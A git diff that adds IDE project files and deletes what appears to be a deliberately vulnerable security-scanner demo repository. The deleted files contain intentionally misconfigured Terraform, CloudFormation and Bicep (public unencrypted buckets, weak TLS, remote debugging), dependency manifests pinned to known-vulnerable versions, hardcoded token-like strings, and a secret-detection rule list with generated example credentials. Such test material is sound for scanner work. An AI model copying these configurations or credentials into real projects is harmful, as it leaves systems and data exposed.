diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 0000000..26d3352
--- /dev/null
+++ b/.idea/.gitignore
@@ -0,0 +1,3 @@
+# Default ignored files
+/shelf/
+/workspace.xml
diff --git a/.idea/misc.xml b/.idea/misc.xml
new file mode 100644
index 0000000..6e86672
--- /dev/null
+++ b/.idea/misc.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/modules.xml b/.idea/modules.xml
new file mode 100644
index 0000000..540aaf0
--- /dev/null
+++ b/.idea/modules.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/prisma_data_analytics.txt b/.idea/prisma_data_analytics.txt
new file mode 100644
index 0000000..e69de29
diff --git a/.idea/vcs.xml b/.idea/vcs.xml
new file mode 100644
index 0000000..35eb1dd
--- /dev/null
+++ b/.idea/vcs.xml
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/IAC/ec2.tf b/IAC/ec2.tf
deleted file mode 100644
index 7302c82..0000000
--- a/IAC/ec2.tf
+++ /dev/null
@@ -1,34 +0,0 @@
-resource "aws_instance" "web_host" {
- # ec2 have plain text secrets in user data
- ami = "${var.ami}"
- instance_type = "t2.nano"
-
- vpc_security_group_ids = [
- "${aws_security_group.web-node.id}"]
- subnet_id = "${aws_subnet.web_subnet.id}"
- user_data = <Deployed via Terraform" | sudo tee /var/www/html/index.html
-EOF
- tags = merge({
- Name = "${local.resource_prefix.value}-ec2"
- }, {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/ec2.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "347af3cd-4f70-4632-aca3-4d5e30ffc0b6"
- }, {
- yor_name = "web_host"
- })
-}
diff --git a/IAC/s3.tf b/IAC/s3.tf
deleted file mode 100644
index b8a52d5..0000000
--- a/IAC/s3.tf
+++ /dev/null
@@ -1,152 +0,0 @@
-resource "aws_s3_bucket" "data" {
- # bucket is public
- # bucket is not encrypted
- # bucket does not have access logs
- # bucket does not have versioning
- bucket = "${local.resource_prefix.value}-data"
- force_destroy = true
- tags = merge({
- Name = "${local.resource_prefix.value}-data"
- Environment = local.resource_prefix.value
- }, {
- git_commit = "4d57f83ca4d3a78a44fb36d1dcf0d23983fa44f5"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2022-05-18 07:08:06"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "34870196+LironElbaz/nimrod/nimrodkor/jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "0874007d-903a-4b4c-945f-c9c233e13243"
- }, {
- yor_name = "data"
- })
-}
-
-resource "aws_s3_bucket_object" "data_object" {
- bucket = aws_s3_bucket.data.id
- key = "customer-master.xlsx"
- source = "resources/customer-master.xlsx"
- tags = merge({
- Name = "${local.resource_prefix.value}-customer-master"
- Environment = local.resource_prefix.value
- }, {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "njmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "a7f01cc7-63c2-41a8-8555-6665e5e39a64"
- }, {
- yor_name = "data_object"
- })
-}
-
-resource "aws_s3_bucket" "financials" {
- # bucket is not encrypted
- # bucket does not have access logs
- # bucket does not have versioning
- bucket = "${local.resource_prefix.value}-financials"
- acl = "private"
- force_destroy = true
- tags = merge({
- Name = "${local.resource_prefix.value}-financials"
- Environment = local.resource_prefix.value
- }, {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "0e012640-b597-4e5d-9378-d4b584aea913"
- }, {
- yor_name = "financials"
- })
-
-}
-
-resource "aws_s3_bucket" "operations" {
- # bucket is not encrypted
- # bucket does not have access logs
- bucket = "${local.resource_prefix.value}-operations"
- acl = "private"
- versioning {
- enabled = true
- }
- force_destroy = true
- tags = merge({
- Name = "${local.resource_prefix.value}-operations"
- Environment = local.resource_prefix.value
- }, {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "29efcf7b-22a8-4bd6-8e14-1f55b3a2d743"
- }, {
- yor_name = "operations"
- })
-}
-
-resource "aws_s3_bucket" "data_science" {
- # bucket is not encrypted
- bucket = "${local.resource_prefix.value}-data-science"
- acl = "private"
- versioning {
- enabled = true
- }
- logging {
- target_bucket = "${aws_s3_bucket.logs.id}"
- target_prefix = "log/"
- }
- force_destroy = true
- tags = {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "9a7c8788-5655-4708-bbc3-64ead9847f64"
- yor_name = "data_science"
- }
-}
-
-resource "aws_s3_bucket" "logs" {
- bucket = "${local.resource_prefix.value}-logs"
- acl = "log-delivery-write"
- versioning {
- enabled = true
- }
- server_side_encryption_configuration {
- rule {
- apply_server_side_encryption_by_default {
- sse_algorithm = "aws:kms"
- kms_master_key_id = "${aws_kms_key.logs_key.arn}"
- }
- }
- }
- force_destroy = true
- tags = merge({
- Name = "${local.resource_prefix.value}-logs"
- Environment = local.resource_prefix.value
- }, {
- git_commit = "d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0"
- git_file = "terraform/aws/s3.tf"
- git_last_modified_at = "2020-06-16 14:46:24"
- git_last_modified_by = "jmagee@paloaltonetworks.com"
- git_modifiers = "jmagee"
- git_org = "bridgecrewio"
- git_repo = "terragoat"
- yor_trace = "01946fe9-aae2-4c99-a975-e9b0d3a4696c"
- }, {
- yor_name = "logs"
- })
-}
diff --git a/IAC/s3bucket.yaml b/IAC/s3bucket.yaml
deleted file mode 100644
index a7c1b58..0000000
--- a/IAC/s3bucket.yaml
+++ /dev/null
@@ -1,29 +0,0 @@
-AWSTemplateFormatVersion: '2010-09-09'
-Metadata:
- License: Apache-2.0
-Description: 'AWS CloudFormation Sample Template S3_Website_Bucket_With_Retain_On_Delete:
- Sample template showing how to create a publicly accessible S3 bucket configured
- for website access with a deletion policy of retain on delete. **WARNING** This
- template creates an S3 bucket that will NOT be deleted when the stack is deleted.
- You will be billed for the AWS resources used if you create a stack from this template.'
-Resources:
- S3Bucket:
- Type: AWS::S3::Bucket
- Properties:
- AccessControl: PublicRead
- WebsiteConfiguration:
- IndexDocument: index.html
- ErrorDocument: error.html
- Tags:
- - Key: yor_trace
- Value: c7a9755f-ba4e-430c-935f-b5cc157d14d0
- - Key: yor_name
- Value: S3Bucket
- DeletionPolicy: Retain
-Outputs:
- WebsiteURL:
- Value: !GetAtt [S3Bucket, WebsiteURL]
- Description: URL for website hosted on S3
- S3BucketSecureURL:
- Value: !Join ['', ['https://', !GetAtt [S3Bucket, DomainName]]]
- Description: Name of S3 bucket to hold website content
\ No newline at end of file
diff --git a/IAC/storage.bicep b/IAC/storage.bicep
deleted file mode 100644
index 9dd77d4..0000000
--- a/IAC/storage.bicep
+++ /dev/null
@@ -1,49 +0,0 @@
-@description('Name of environment')
-param env string = 'dev'
-
-@description('Default location for all resources.')
-param location string = resourceGroup().location
-
-var name = 'bicepgoat'
-
-resource datadisk 'Microsoft.Compute/disks@2021-12-01' = {
- name: '${name}-disk-${env}'
- location: location
- sku: {
- name: 'Standard_LRS'
- }
-
- properties: {
- diskSizeGB: 10
- encryptionSettingsCollection: {
- enabled: false
- }
- }
-}
-
-resource storageAccount 'Microsoft.Storage/storageAccounts@2021-01-01' = {
- name: '${name}-sa-${env}'
- location: location
- kind: 'StorageV2'
- sku: {
- name: 'Standard_GRS'
- }
-
- properties: {
- supportsHttpsTrafficOnly: false
-
- networkAcls: {
- bypass: 'None'
- defaultAction: 'Deny'
- }
- }
-
- resource configWeb 'config' = {
- name: 'web'
-
- properties: {
- minTlsVersion: '1.1'
- remoteDebuggingEnabled: true
- }
- }
-}
\ No newline at end of file
diff --git a/SCA/pom.xml b/SCA/pom.xml
deleted file mode 100644
index c245fb2..0000000
--- a/SCA/pom.xml
+++ /dev/null
@@ -1,128 +0,0 @@
-
- 4.0.0
- com.checkmarx.app
- sca-big-goat
- jar
- 1.0-SNAPSHOT
- sca-big-goat
- http://maven.apache.org
-
-
-
- ${org.checkerframework:jdk8:jar}
-
-
-
-
- commons-httpclient
- commons-httpclient
- 3.1
-
-
- commons-collections
- commons-collections
- 3.2.2
-
-
- dom4j
- dom4j
- 1.6.1
-
-
- axis
- axis
- 1.4
-
-
- org.apache.httpcomponents
- httpasyncclient
- 4.1.4
-
-
- ca.juliusdavies
- not-yet-commons-ssl
- 0.3.9
-
-
- org.bouncycastle
- bcprov-jdk15
- 1.46
-
-
- org.webjars
- jquery
- 3.5.1
-
-
- org.beanshell
- bsh
- 2.0b5
-
-
- org.codehaus.jackson
- jackson-core-asl
- 1.9.13
-
-
- org.mortbay.jetty
- jetty-util
- 6.1.26
-
-
- io.netty
- netty
- 3.10.6.Final
-
-
- log4j
- log4j
- 1.2.17
-
-
- net.sf.dozer
- dozer
- 5.5.1
-
-
- org.beanshell
- bsh
- 2.0b4
-
-
- org.codehaus.jackson
- jackson-mapper-asl
- 1.9.13
-
-
- taglibs
- standard
- 1.1.2
-
-
- org.simpleframework
- simple-xml
- 2.7.1
-
-
- ant
- ant
- 1.6.5
-
-
- org.apache.spark
- spark-core_2.11
- 2.4.7
-
-
- org.mortbay.jetty
- jetty
- 6.1.26
-
-
- org.apache.hadoop
- hadoop-yarn-server-nodemanager
- 3.3.0
-
-
-
diff --git a/SCA/requirements.txt b/SCA/requirements.txt
deleted file mode 100644
index 6ecc4ce..0000000
--- a/SCA/requirements.txt
+++ /dev/null
@@ -1,38 +0,0 @@
-parso==0.8.1
-pycrypto==2.6.1
-oauth2==1.9.0.post1
-httplib2==0.17.4
-Django==1.11.1
-PyYAML==3.13
-urllib3==1.23
-requests==2.2.1
-PyYAML==5.1
-Django==1.7.1
-ansible==2.8.8
-Werkzeug==0.15.3
-urllib3==1.25.2
-Jinja2==2.10.1
-Pygments==2.0.2
-pandas==0.24.2
-python-gnupg==0.4.3
-PyJWT==0.4.2
-rsa==3.4.2
-requests==2.19.1
-urllib3==1.24.2
-Django==3.1
-Pillow==7.1.0
-pycrypto==2.4
-tensorflow==1.14.0
-Jinja2==2.7.2
-Flask==0.11.1
-feedparser==5.1.1
-mercurial==4.8.2
-buildbot==0.7.11
-notebook==5.7.10
-httplib2==0.12.0
-lodash==3.10.1
-sphinx==3.0.3
-sphinx-py3doc-enhanced-theme==2.4.0
-docutils==0.16
--e .
-
diff --git a/Secrets/app1.js b/Secrets/app1.js
deleted file mode 100644
index 7490c8a..0000000
--- a/Secrets/app1.js
+++ /dev/null
@@ -1,2 +0,0 @@
-const SEC_1 = "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"
-const SEC_3 = "dsapi45202d12abdce73c004a9e0be24a21b2"
\ No newline at end of file
diff --git a/Secrets/config.js b/Secrets/config.js
deleted file mode 100644
index 2b091da..0000000
--- a/Secrets/config.js
+++ /dev/null
@@ -1,2 +0,0 @@
-const CIRCLE_CI = "2065ae463be5e534bb1d074a366d44e7a776d472"
-const JIRA = "5FP0NmFYz81U32XdjNb42762"
diff --git a/Secrets/secrets.txt b/Secrets/secrets.txt
deleted file mode 100644
index f0c265f..0000000
--- a/Secrets/secrets.txt
+++ /dev/null
@@ -1,758 +0,0 @@
-Rule ID: adafruit-api-key
-Description: Identified a potential Adafruit API Key, which could lead to unauthorized access to Adafruit services and sensitive data exposure.
-Generated Example: adafruitqz3c73_r00rtfs21k::=x9rl0auaictrq_vjmdvbdtw4_lt9hd0o
-
-Rule ID: adobe-client-id
-Description: Detected a pattern that resembles an Adobe OAuth Web Client ID, posing a risk of compromised Adobe integrations and data breaches.
-Generated Example: adobe.vre-87ca1_ii39q2bc
-|||: c527a48634edc1d9f67898baa8fbf98e;
-
-Rule ID: adobe-client-secret
-Description: Discovered a potential Adobe Client Secret, which, if exposed, could allow unauthorized Adobe service access and data manipulation.
-Generated Example: p8e-pjuy0u3rje1377t8onvmr2293yk2zn2t
-
-Rule ID: age-secret-key
-Description: Discovered a potential Age encryption tool secret key, risking data decryption and unauthorized access to sensitive information.
-Generated Example: AGE-SECRET-KEY-1Y2D6FQETYKQ5XR0D5UGE0ULZ7US7D3VWYMZK4UNGTHDN2DLT274LD90KYP
-
-Rule ID: airtable-api-key
-Description: Uncovered a possible Airtable API Key, potentially compromising database access and leading to data leakage or alteration.
-Generated Example: airtablecriiu.48 :
-izalazq1yi0tmyg0k"
-
-Rule ID: algolia-api-key
-Description: Identified an Algolia API Key, which could result in unauthorized search operations and data exposure on Algolia-managed platforms.
-Generated Example: algolia9
- |>' �chph6k48zcp9vkg7rvzrtdsskh63ke10
-
-Rule ID: alibaba-access-key-id
-Description: Detected an Alibaba Cloud AccessKey ID, posing a risk of unauthorized cloud resource access and potential data compromise.
-Generated Example: LTAIlnixncam9iz8sszao2en
-
-Rule ID: alibaba-secret-key
-Description: Discovered a potential Alibaba Cloud Secret Key, potentially allowing unauthorized operations and data access within Alibaba Cloud.
-Generated Example: alibabae d22xfm nridq5-|
-�=
-``
-h0auh7mp675031cd6kx7s9m5vli3ar
-
-Rule ID: asana-client-id
-Description: Discovered a potential Asana Client ID, risking unauthorized access to Asana projects and sensitive task information.
-Generated Example: asana3diup|
-
-=
-
-8796176620633054
-
-Rule ID: asana-client-secret
-Description: Identified an Asana Client Secret, which could lead to compromised project management integrity and unauthorized access.
-Generated Example: asana_ag2kx9d2crwm>deyvp4x6a8d5fm40cn2wwpp7e8106mls
-
-Rule ID: atlassian-api-token
-Description: Detected an Atlassian API token, posing a threat to project management and collaboration tool security and data confidentiality.
-Generated Example: jira1l0xbpb mp"
- > a4uh7k5885n1dteejiysz2rf
-
-Rule ID: authress-service-client-access-key
-Description: Uncovered a possible Authress Service Client Access Key, which may compromise access control services and sensitive data.
-Generated Example: scauth_9k6yn.omql.acc-iitzknmzi8c9h61jyn.8zbcu50w7ilj2719er6tufwd33fs+hj67jtn_z
-
-Rule ID: aws-access-token
-Description: Identified a pattern that may indicate AWS credentials, risking unauthorized cloud resource access and data breaches on AWS platforms.
-Generated Example: ASIAZF54YMK7RHQS2XJN
-
-Rule ID: beamer-api-token
-Description: Detected a Beamer API token, potentially compromising content management and exposing sensitive notifications and updates.
-Generated Example: beamerx6.mfhew �:�b_n7r9cpvi9ivwimpj8kdiftz3nvxuqy151pd==koxe64v
-
-Rule ID: bitbucket-client-id
-Description: Discovered a potential Bitbucket Client ID, risking unauthorized repository access and potential codebase exposure.
-Generated Example: bitbucket0d5
-'?==
-'338nnw24zewkmfwcx4ak22uol7ef2vxz
-
-Rule ID: bitbucket-client-secret
-Description: Discovered a potential Bitbucket Client Secret, posing a risk of compromised code repositories and unauthorized access.
-Generated Example: bitbucket8tk5o
-::=�
-7daywp590u6wue=lkpsyqfcqz8ekgdq6b46azasogat10zkuwypcmds1c4=36e0z;
-
-Rule ID: bittrex-access-key
-Description: Identified a Bittrex Access Key, which could lead to unauthorized access to cryptocurrency trading accounts and financial loss.
-Generated Example: bittrexo1fts9j-k5vh.1_trc
- ?=
-=`
-xi3ta8i64zdcaojl03dc8hsnyyny6tqp
-
-Rule ID: bittrex-secret-key
-Description: Detected a Bittrex Secret Key, potentially compromising cryptocurrency transactions and financial security.
-Generated Example: bittrex.nni �=>2w6z7qfbl794bxkd9vzm37ikhvj2rhnj
-
-Rule ID: clojars-api-token
-Description: Uncovered a possible Clojars API token, risking unauthorized access to Clojure libraries and potential code manipulation.
-Generated Example: CLOJARS_1c6iaw9690ft4ktzfco3wl68092tlkywno6g0wrokq19i8gjlj8239wwbwuh
-
-Rule ID: codecov-access-token
-Description: Found a pattern resembling a Codecov Access Token, posing a risk of unauthorized access to code coverage reports and sensitive data.
-Generated Example: codecov_o4cdaq9mgsw':=8jld7sx0svwy7wa6yxbj7n7a2y7uzzte
-
-Rule ID: coinbase-access-token
-Description: Detected a Coinbase Access Token, posing a risk of unauthorized access to cryptocurrency accounts and financial transactions.
-Generated Example: coinbase
- |>`=1m354e-0se7sd0bo4q4vcxmxtkdv6wy0o54xlhn9jen1hrrjmm8zkr9kjdd3vr90
-
-
-Rule ID: confluent-access-token
-Description: Identified a Confluent Access Token, which could compromise access to streaming data platforms and sensitive data flow.
-Generated Example: confluentjyy||:`'''2xnekdi50odvgdcd
-
-Rule ID: confluent-secret-key
-Description: Found a Confluent Secret Key, potentially risking unauthorized operations and data access within Confluent services.
-Generated Example: confluent_
-='mqguk35r2nqeeo5mwl7udf2wplya6a92t88ktefo89k84ufz8058n61v92vhqf02
-
-
-Rule ID: contentful-delivery-api-token
-Description: Discovered a Contentful delivery API token, posing a risk to content management systems and data integrity.
-Generated Example: contentfulbv6t t iops
-|=>
-bigq59hpk8imay34_b5g2e3xfsjj7spu1xh1a3rs6fg
-
-Rule ID: databricks-api-token
-Description: Uncovered a Databricks API token, which may compromise big data analytics platforms and sensitive data processing.
-Generated Example: dapi1d0a5d8geb4532f8b1g2c4aa564983g1;
-
-Rule ID: datadog-access-token
-Description: Detected a Datadog Access Token, potentially risking monitoring and analytics data exposure and manipulation.
-Generated Example: datadogm-m2h65c' ?=
-jxas6zzyqdnak7fsljcu095ziquet2qa4nkfh67j
-
-Rule ID: defined-networking-api-token
-Description: Identified a Defined Networking API token, which could lead to unauthorized network operations and data breaches.
-Generated Example: dnkey399j2ele3bldh=>'=dnkey-=3sazanqozvk-ff53v2vszi2wy-3po-xryrmexwgy2nd26vv4tjet=4u-eb=yiptt97kqkfw609=w35�
-
-Rule ID: digitalocean-access-token
-Description: Found a DigitalOcean OAuth Access Token, risking unauthorized cloud resource access and data compromise.
-Generated Example: doo_v1_6a8433e619701db0f78067cb5cfef5dbaabffef1f8f0600517096f05c7cd7dbd
-
-Rule ID: digitalocean-pat
-Description: Discovered a DigitalOcean Personal Access Token, posing a threat to cloud infrastructure security and data privacy.
-Generated Example: dop_v1_da5da72fa5a90020b4a05de62f6c2e7e5a4cfa28bd2b9404cd8ff64977f73cf3
-
-
-Rule ID: digitalocean-refresh-token
-Description: Uncovered a DigitalOcean OAuth Refresh Token, which could allow prolonged unauthorized access and resource manipulation.
-Generated Example: dor_v1_9415a05d6263d210f907e6dc91769ee9edd15aaea55bda5a101de4bb330f6741
-
-
-Rule ID: discord-api-token
-Description: Detected a Discord API key, potentially compromising communication channels and user data privacy on Discord.
-Generated Example: discordo0zt7mcqo e4ulzxf4b?=cb02c2422d5ad942f63ca31bd69635ce77a30118bfb331ef7478c1a7431f1213
-
-Rule ID: discord-client-id
-Description: Identified a Discord client ID, which may lead to unauthorized integrations and data exposure in Discord applications.
-Generated Example: discordpe9rn4ujr'::=`
-�
-516801323036455227
-
-Rule ID: discord-client-secret
-Description: Discovered a potential Discord client secret, risking compromised Discord bot integrations and data leaks.
-Generated Example: discordvnoa63gtb6ys1q7d
-"?= zmg2q6ez5xfels5koh=tmdbtynkjpd0d
-
-Rule ID: doppler-api-token
-Description: Discovered a Doppler API token, posing a risk to environment and secrets management security.
-Generated Example: dp.pt.kiu0unxbn9xduqg4kmusn54p652ouken8cpe63dn1wa
-
-Rule ID: droneci-access-token
-Description: Detected a Droneci Access Token, potentially compromising continuous integration and deployment workflows.
-Generated Example: droneciv9ohb l8r
-
-:='c3dgzakrenlwmgoolvrk94buoylwfavj"
-
-Rule ID: dropbox-api-token
-Description: Identified a Dropbox API secret, which could lead to unauthorized file access and data breaches in Dropbox storage.
-Generated Example: dropboxsiqfmt61hvcfd xe. ' =""
-'derr1ididofs7jz
-
-Rule ID: dropbox-long-lived-api-token
-Description: Found a Dropbox long-lived API token, risking prolonged unauthorized access to cloud storage and sensitive data.
-Generated Example: dropbox.mqt51q1a||: ojqu3jttok9AAAAAAAAAAqu0taf45e9c45dhns_rzfoddf5rw-x-6wbsmnjb5yjt
-
-Rule ID: dropbox-short-lived-api-token
-Description: Discovered a Dropbox short-lived API token, posing a risk of temporary but potentially harmful data access and manipulation.
-Generated Example: dropboxbpd8l395xbq62mb� > "'
-sl.gf0z=vd37c6h07j9a6ywjma4kr13tjiue3-y760nesh_jyas5vpuas2=vnb=vam9095c_dd7k_-gac5jk_f5hc16=m4_jefchyiojeda23hh0jpbn6-wx5ctomki322g8k1ut79
-
-Rule ID: duffel-api-token
-Description: Uncovered a Duffel API token, which may compromise travel platform integrations and sensitive customer data.
-Generated Example: duffel_live_r53u9wsv2jtbe4j8vd2aho=zu2g9_5bt52nfedy2-2d
-
-Rule ID: dynatrace-api-token
-Description: Detected a Dynatrace API token, potentially risking application performance monitoring and data exposure.
-Generated Example: dt0c01.7t528iejtllnwi7l1q8w0jpc.qng2r17xnxtyench2mw2smb2qdz4rb8c8j5zsisxkl1zlgdlbtqvdphpfccmc1j8
-
-Rule ID: easypost-api-token
-Description: Identified an EasyPost API token, which could lead to unauthorized postal and shipment service access and data exposure.
-Generated Example: EZAK1jkygj2cvye3959te5jzrh8b39hpatxyi53dcm7f1naj760kis04q4
-
-Rule ID: easypost-test-api-token
-Description: Detected an EasyPost test API token, risking exposure of test environments and potentially sensitive shipment data.
-Generated Example: EZTKsk5xru512kg85r7ubbo8v5hhiuh90b6nd16o9z3b18qqslxfjay4xj
-
-Rule ID: etsy-access-token
-Description: Found an Etsy Access Token, potentially compromising Etsy shop management and customer data.
-Generated Example: etsy"=>dylkdb23135wj9ohla9f4j5s
-
-
-Rule ID: facebook
-Description: Discovered a Facebook Access Token, posing a risk of unauthorized access to Facebook accounts and personal data exposure.
-Generated Example: facebooklc35e1ae-x =e840b4a85576f90562925de0b462739a
-
-Rule ID: fastly-api-token
-Description: Uncovered a Fastly API key, which may compromise CDN and edge cloud services, leading to content delivery and security issues.
-Generated Example: fastly5v1 zr�
-?="="y9tl=esek9uqob6_x48k21to3pn4iz7l"
-
-Rule ID: finicity-api-token
-Description: Detected a Finicity API token, potentially risking financial data access and unauthorized financial operations.
-Generated Example: finicity r74o mx82hd"
- =>6fa864bcca66d8a5776cf43a195efa2b
-
-Rule ID: finicity-client-secret
-Description: Identified a Finicity Client Secret, which could lead to compromised financial service integrations and data breaches.
-Generated Example: finicityoh64q:5hlz7hz76a5aoany9m3p
-
-Rule ID: finnhub-access-token
-Description: Found a Finnhub Access Token, risking unauthorized access to financial market data and analytics.
-Generated Example: finnhubna"|::=
-`
-
-ot1o8c4euxm1jzh93plc
-
-Rule ID: flickr-access-token
-Description: Discovered a Flickr Access Token, posing a risk of unauthorized photo management and potential data leakage.
-Generated Example: flickrdcu il-zyv 0q3h�||:
-2agvy9cmii30cfplgc8rdwjlh7g1qfxr
-
-Rule ID: flutterwave-encryption-key
-Description: Uncovered a Flutterwave Encryption Key, which may compromise payment processing and sensitive financial information.
-Generated Example: FLWSECK_TEST-gfd221a862ca
-
-Rule ID: flutterwave-public-key
-Description: Detected a Finicity Public Key, potentially exposing public cryptographic operations and integrations.
-Generated Example: FLWPUBK_TEST-ge9a62d31e6c3f4g4egcc2e6fd6h8942-X
-
-Rule ID: flutterwave-secret-key
-Description: Identified a Flutterwave Secret Key, risking unauthorized financial transactions and data breaches.
-Generated Example: FLWSECK_TEST-75bb577235af4b365252gae3f9cgb82g-X
-
-Rule ID: frameio-api-token
-Description: Found a Frame.io API token, potentially compromising video collaboration and project management.
-Generated Example: fio-u-pon0ein70_5lwvlh_fnx0xrz_ftfiqjh5cxanln1eyx121szzxk3rza_x8i21v8x
-
-Rule ID: freshbooks-access-token
-Description: Discovered a Freshbooks Access Token, posing a risk to accounting software access and sensitive financial data exposure.
-Generated Example: freshbookslmd3je- ax__
- :�tvgtnkfbg7zpp1b5u3s16x64w22td2pdy5xkzmuug2pi338ft2xm5r01zjfahux5
-
-Rule ID: gcp-api-key
-Description: Uncovered a GCP API key, which could lead to unauthorized access to Google Cloud services and data breaches.
-Generated Example: AIzaQhwneeP4Cxt_BnjEF2sF\A6YuLZiXG1tFpt
-
-Rule ID: generic-api-key
-Description: Detected a Generic API Key, potentially exposing access to various services and sensitive operations.
-Generated Example: secrettp_je1_r9f2
-=>�'orvlxlwrh2q-1f7fgtm4;
-
-Rule ID: github-app-token
-Description: Identified a GitHub App Token, which may compromise GitHub application integrations and source code security.
-Generated Example: ghu_Brbv5YVmVOfTefWtkA9v4PHrrsnkBMUxQjXc
-
-Rule ID: github-fine-grained-pat
-Description: Found a GitHub Fine-Grained Personal Access Token, risking unauthorized repository access and code manipulation.
-Generated Example: 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
-
-Rule ID: github-oauth
-Description: Discovered a GitHub OAuth Access Token, posing a risk of compromised GitHub account integrations and data leaks.
-Generated Example: gho_Q4xmWOGvZHAqq2WO3P4aZGhqVvgH5Q4NixAP
-
-Rule ID: github-pat
-Description: Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure.
-Generated Example: ghp_lEXvn1sd5FXLdHYearPTx1LKrg7USqzFbH5v
-
-Rule ID: github-refresh-token
-Description: Detected a GitHub Refresh Token, which could allow prolonged unauthorized access to GitHub services.
-Generated Example: ghr_JCiszOwt4KPoyp9vyt4i8Gjtrs47HB5X57TI
-
-Rule ID: gitlab-pat
-Description: Identified a GitLab Personal Access Token, risking unauthorized access to GitLab repositories and codebase exposure.
-Generated Example: glpat--IjTsKyDI6mLWPHrVwYY
-
-Rule ID: gitlab-ptt
-Description: Found a GitLab Pipeline Trigger Token, potentially compromising continuous integration workflows and project security.
-Generated Example: glptt-8bee407aa2d8e1848599f86c9e96eb66c4354b31
-
-Rule ID: gitlab-rrt
-Description: Discovered a GitLab Runner Registration Token, posing a risk to CI/CD pipeline integrity and unauthorized access.
-Generated Example: GR1348941YPFWEKEkYmIXKvIzN2nn
-
-Rule ID: gitter-access-token
-Description: Uncovered a Gitter Access Token, which may lead to unauthorized access to chat and communication services.
-Generated Example: gitterb=2z9165-r9mnb3t9l_pdtkbnl_j4thtckzwd9d42y
-
-Rule ID: gocardless-api-token
-Description: Detected a GoCardless API token, potentially risking unauthorized direct debit payment operations and financial data exposure.
-Generated Example: gocardlessa 2pce6pegll::=
-
-"live_rgkkr0=m9_aak5mz4kx-g28q=zosgi8qn7yte4ti
-
-Rule ID: grafana-api-key
-Description: Identified a Grafana API key, which could compromise monitoring dashboards and sensitive data analytics.
-Generated Example: eyJrIjoisURLSnqCLy4ERJDRZIGR5SN6S444w5Ea3QMolZZjIBD4mgc7y9STqjnrfhSIttj5FTuOXSKjgfKhBySlOSD=
-
-Rule ID: grafana-cloud-api-token
-Description: Found a Grafana cloud API token, risking unauthorized access to cloud-based monitoring services and data exposure.
-Generated Example: glc_cUuZsUAUHRMTOBYQ3z7cjHqjKRXp2At9iBPErAh7fg==
-
-Rule ID: grafana-service-account-token
-Description: Discovered a Grafana service account token, posing a risk of compromised monitoring services and data integrity.
-Generated Example: glsa_GU9fbnf6fZsmbnKEispeOXsTC8Z4JMt6_4C56f38d
-
-
-Rule ID: hashicorp-tf-api-token
-Description: Uncovered a HashiCorp Terraform user/org API token, which may lead to unauthorized infrastructure management and security breaches.
-Generated Example: ndulotqxb5w1w3.atlasv1.aacspf9bsurqusdn1f439xc4h=ru=i0iex03paj_36vs7s90jq54qnge5uoo64
-
-Rule ID: hashicorp-tf-password
-Description: Identified a HashiCorp Terraform password field, risking unauthorized infrastructure configuration and security breaches.
-Generated Example: administrator_login_passwordid3t26 75tkvtnkszb
-=> "aqxx4-yptni2w""
-
-Rule ID: heroku-api-key
-Description: Detected a Heroku API Key, potentially compromising cloud application deployments and operational security.
-Generated Example: heroku0x5xkrtg�||:
-`"
- 064dae3c-314a-3a93-5da3-91d3b3050888
-
-Rule ID: hubspot-api-key
-Description: Found a HubSpot API Token, posing a risk to CRM data integrity and unauthorized marketing operations.
-Generated Example: hubspot6hvp9 _56-em_m::=5FCEE2B4-1AF2-8E40-885A-B11F19CDEA8D
-
-Rule ID: huggingface-access-token
-Description: Discovered a Hugging Face Access token, which could lead to unauthorized access to AI models and sensitive data.
-Generated Example: =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
-
-Rule ID: huggingface-organization-api-token
-Description: Uncovered a Hugging Face Organization API token, potentially compromising AI organization accounts and associated data.
-Generated Example: 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
-
-Rule ID: infracost-api-token
-Description: Detected an Infracost API Token, risking unauthorized access to cloud cost estimation tools and financial data.
-Generated Example: ico-BnJZfGpJcaPtFU4p2VSlrIf9VJsG3wB8
-
-Rule ID: intercom-api-key
-Description: Identified an Intercom API Token, which could compromise customer communication channels and data privacy.
-Generated Example: intercomckyo | =>='`wn9kgx9-3gqu6nirssm4dg3f38114wbgz3za0ypbs7ev6=sj6cec59ufn-6a|
-
-Rule ID: jfrog-api-key
-Description: Found a JFrog API Key, posing a risk of unauthorized access to software artifact repositories and build pipelines.
